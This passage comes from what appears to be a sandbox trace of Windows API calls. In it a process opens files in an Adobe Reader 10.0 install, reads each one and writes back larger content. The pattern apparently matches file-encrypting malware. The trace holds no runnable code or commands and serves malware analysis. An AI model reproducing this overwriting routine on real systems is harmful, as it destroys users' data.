lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.639] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.639] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xc00 [0041.639] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.639] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.639] ReleaseMutex (hMutex=0x128) returned 1 [0041.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHT", cchWideChar=8, lpMultiByteStr=0x1e633ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHT", lpUsedDefaultChar=0x0) returned 8 [0041.639] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf2bc*=0xc00, lpOverlapped=0x0) returned 1 [0041.642] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0041.643] WriteFile (in: hFile=0x184, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1188, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x32cf2d0*=0x1188, lpOverlapped=0x0) returned 1 [0041.643] CloseHandle (hObject=0x184) returned 1 [0041.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SendMail.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\sendmail.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.643] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.644] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2e00 [0041.644] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.644] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.644] ReleaseMutex (hMutex=0x128) returned 1 [0041.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.CHT", cchWideChar=12, lpMultiByteStr=0x1e6338c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.CHT", lpUsedDefaultChar=0x0) returned 12 [0041.644] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.646] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1e00 [0041.646] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.648] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1e00 [0041.648] WriteFile (in: hFile=0x184, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.649] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.649] WriteFile (in: hFile=0x184, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.649] CloseHandle (hObject=0x184) returned 1 [0041.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\DataMatrix.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\datamatrix.pmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.650] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.650] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x7f400 [0041.650] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.650] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.650] ReleaseMutex (hMutex=0x128) returned 1 [0041.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.650] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x1e6306c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DataMatrix.pmp", lpUsedDefaultChar=0x0) returned 14 [0041.650] ReadFile (in: hFile=0x184, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0041.653] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7e400 [0041.653] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.660] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7e400 [0041.660] WriteFile (in: hFile=0x184, lpBuffer=0x280dd58*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x280dd58*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.660] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.660] WriteFile (in: hFile=0x184, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.661] CloseHandle (hObject=0x184) returned 1 [0041.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ia32.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.661] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.661] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x18463 [0041.661] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.661] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.661] ReleaseMutex (hMutex=0x128) returned 1 [0041.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.api", cchWideChar=8, lpMultiByteStr=0x1e6338c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.api", lpUsedDefaultChar=0x0) returned 8 [0041.662] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0041.663] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x17463 [0041.663] ReadFile (in: hFile=0x184, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.667] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x17463 [0041.667] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.668] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.668] WriteFile (in: hFile=0x184, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.668] CloseHandle (hObject=0x184) returned 1 [0041.668] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.668] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.668] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa00 [0041.668] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.668] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.668] ReleaseMutex (hMutex=0x128) returned 1 [0041.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ITA", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ITA", lpUsedDefaultChar=0x0) returned 9 [0041.669] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.671] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0041.671] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.671] CloseHandle (hObject=0x184) returned 1 [0041.671] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.671] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.671] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a00 [0041.671] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.671] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.671] ReleaseMutex (hMutex=0x128) returned 1 [0041.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.671] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHS", lpUsedDefaultChar=0x0) returned 10 [0041.671] ReadFile (in: hFile=0x184, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x32cf2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0041.675] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0041.675] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x32cf2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0041.675] CloseHandle (hObject=0x184) returned 1 [0041.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.mpp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.676] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.676] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x16e00 [0041.676] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.676] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.676] ReleaseMutex (hMutex=0x128) returned 1 [0041.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.mpp", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.mpp", lpUsedDefaultChar=0x0) returned 10 [0041.676] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0041.678] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x15e00 [0041.678] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0041.681] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x15e00 [0041.681] WriteFile (in: hFile=0x184, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.682] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0041.682] WriteFile (in: hFile=0x184, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.682] CloseHandle (hObject=0x184) returned 1 [0041.682] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.682] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.682] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa00 [0041.683] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.683] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.683] ReleaseMutex (hMutex=0x128) returned 1 [0041.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.DEU", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.DEU", lpUsedDefaultChar=0x0) returned 13 [0041.683] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.684] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0041.685] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.685] CloseHandle (hObject=0x184) returned 1 [0041.685] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.685] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.685] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa00 [0041.685] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.685] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.686] ReleaseMutex (hMutex=0x128) returned 1 [0041.686] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.686] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x1e633ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.PTB", lpUsedDefaultChar=0x0) returned 13 [0041.686] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ec8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesRead=0x32cf2bc*=0xa00, lpOverlapped=0x0) returned 1 [0041.689] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0041.689] WriteFile (in: hFile=0x184, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x32cf2d0*=0xf88, lpOverlapped=0x0) returned 1 [0041.690] CloseHandle (hObject=0x184) returned 1 [0041.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0041.690] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0041.690] SetFilePointer (in: hFile=0x184, 